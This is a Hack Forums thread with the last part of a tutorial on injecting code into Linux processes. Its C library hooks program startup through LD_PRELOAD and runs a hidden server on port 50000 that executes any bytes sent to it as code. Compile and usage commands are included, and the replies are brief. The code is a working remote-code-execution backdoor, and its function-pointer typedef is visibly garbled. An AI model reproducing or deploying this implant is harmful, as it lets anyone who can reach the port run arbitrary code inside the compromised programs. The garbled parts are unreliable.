

Forum:[Hack Forums](#)

Thread: [Linux C++/C DLL injection + Code Injection Tutorial - Part Four\(final\)](#)

g4143 - February 22, 2012, 12:29 pm

Main Page - <https://hackforums.net/showthread.php?tid=2220892>

This is the final step in this tutorial - We need to modify the code that we looked at in part one. We need to add a thread that maintains a server.

shareobj.c

Code #include <stdio.h>

#include <dlfcn.h>

#include <stdbool.h>

#include <sys/mman.h>

#include <pthread.h>

#include <stdlib.h>

#include <arpa/inet.h>

#include <strings.h>

#include <string.h>

#include <unistd.h>

#include <errno.h>

#define DEFAULT_PROTOCOL 0

#define PORT 50000

typedef int

(*importmain)(int*)(int,char**,char**),int,char**,void*)(void),void*)(void),void*)(void),void(*)());

bool started = false;

void* start_server(void * args)

{

int listenfd, connfd, val = 1;

char * ca = NULL;

struct sockaddr_in servaddr;

if ((listenfd = socket(AF_INET, SOCK_STREAM, DEFAULT_PROTOCOL)) < 0)

{

perror("socket");

exit(EXIT_FAILURE);

}

setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val));

bzero(&servaddr, sizeof(servaddr));

servaddr.sin_family = AF_INET;

servaddr.sin_port = htons(PORT);

```

servaddr.sin_addr.s_addr = htonl(INADDR_ANY);

if ((bind(listenfd, (const struct sockaddr*)&servaddr, sizeof(servaddr))) < 0)
{
    perror("bind");
    exit(EXIT_FAILURE);
}

if ((listen(listenfd, 5)) < 0)
{
    perror("listen");
    exit(EXIT_FAILURE);
}

started = true;

for ( ;; )
{
    connfd = accept(listenfd, NULL, NULL);

    posix_memalign((void**)&ca, BUFSIZ, BUFSIZ);
    mprotect(ca, 1, PROT_READ|PROT_WRITE|PROT_EXEC);

    read(connfd, ca, BUFSIZ);

    ((void(*) (void))ca)();

    free(ca);
    ca = NULL;
    close(connfd);
}

return (void*)NULL;
}

int __libc_start_main(int(*main)(int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void
(*fini) (void), void (*rtld_fini) (void), void(*stack_end))
{
    pthread_t a_thread;
    int ans = 0;
    importmain MaiN;
    void * handle = dlopen("/lib64/libc.so.6", RTLD_LAZY); //or you might try "/lib/libc.so.6"

    MaiN = (importmain)dlsym(handle, "__libc_start_main");

    if ( !started )
        pthread_create(&a_thread, NULL, start_server, NULL);

    ans = MaiN(main, argc, ubp_av, init, fini, rtld_fini, stack_end);

    dlclose(handle);

    return ans;
}

```

```
}  
compile lines.  
Code gcc -shared -fPIC -o shareobj.so shareobj.c -ldl -lpthread  
And finally usage.
```

first open two terminals and go to the directory with our files.

terminal one type.
Code LD_PRELOAD=./shareobj.so ./testit
terminal two type.
Code ./client 127.0.0.1 hello
You should find that you can inject the shell code directly into the running program testit.

This injection, dynamic library and shell code, has worked on C/C++, perl, python, AWK/GAWK, bash script, C#, and Java(this is what I've tested it on).

Nerv - February 22, 2012, 1:42 pm

Hmm I'll read through the code a bit later (tired).
Looks interesting though, +rep.

Chengjun LI - July 22, 2019, 10:55 am

This is an interesting tutorial

Araz Ibrahim - August 14, 2019, 10:11 am

This is an interesting ???

YouthInAsia - August 14, 2019, 6:08 pm

(Jul 22, 2019 10:55 AM)Chengjun LI Wrote: [\[CITE\]](#) This is an interesting tutorial
You know what's not interesting? A tutorial written 7 years ago.

joker69696 - August 21, 2019, 9:32 am

This is completely useless in real world

YouthInAsia - August 21, 2019, 1:44 pm

(Aug 21, 2019 09:32 AM)joker69696 Wrote: [\[CITE\]](#) This is completely useless in real world
You know what else is useless in the real world? A tutorial written SEVEN years ago